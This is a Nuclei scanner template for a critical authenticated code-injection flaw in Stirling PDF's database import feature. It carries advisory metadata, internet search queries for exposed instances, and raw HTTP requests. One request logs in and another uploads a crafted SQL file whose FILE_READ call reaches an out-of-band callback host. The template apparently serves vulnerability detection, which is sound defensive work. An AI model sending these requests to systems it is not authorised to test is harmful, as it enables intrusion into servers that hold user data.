id: CVE-2026-85714 info: name: Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution author: Securin,AlanNewberry severity: critical description: | Stirling-PDF < 2.13.2 contains a command injection caused by insufficient SQL whitelist validation in DatabaseService.validateSqlContent(), letting authenticated administrators execute arbitrary OS commands via crafted SQL files, exploit requires admin authentication and default H2 database with security mode. impact: | Authenticated administrators can execute arbitrary OS commands as the JVM service account, leading to full system compromise. remediation: | Update to version 2.13.2 or later. reference: - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-mrr8-934j-4g8m - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-53mw-phj8-qw64 - https://nvd.nist.gov/vuln/detail/CVE-2026-85714 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.1 cve-id: CVE-2026-85714 epss-score: 0.00629 epss-percentile: 0.49503 cwe-id: CWE-94 metadata: verified: true max-request: 2 vendor: stirling-tools product: stirling-pdf shodan-query: http.title:"Stirling PDF" fofa-query: title="Stirling PDF" tags: cve,cve2026,stirling-pdf,h2,rce,authenticated,default-login,oast,intrusive variables: table: "{{to_lower(rand_text_alpha(10))}}" http: - raw: - | POST /api/v1/auth/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Accept: application/json {"username":"{{username}}","password":"{{password}}"} - | POST /api/v1/database/import-database HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: multipart/form-data; boundary=----NucleiStirlingBoundary ------NucleiStirlingBoundary Content-Disposition: form-data; name="fileInput"; filename="backup.sql" Content-Type: application/sql CREATE TABLE IF NOT EXISTS n_{{table}}(c CLOB); INSERT INTO n_{{table}} VALUES(FILE_READ('http://{{interactsh-url}}/{{table}}', NULL)); INSERT INTO x_{{table}} VALUES(NULL); ------NucleiStirlingBoundary-- extractors: - type: json name: token part: body_1 internal: true json: - '.session.access_token' matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - "http" condition: or - type: word part: body words: - "Backup verification failed" # digest: 4a0a00473045022100b8844cb07f3ecd801acdbf7e127f19108f0e88cdd314da0b69c8d901a1e340e3022003bfde3a4e3176fc15e1836ac0a689aa7d5c58526fb48234ca796b49c597059d:922c64590222798bb761d5b6d8e72950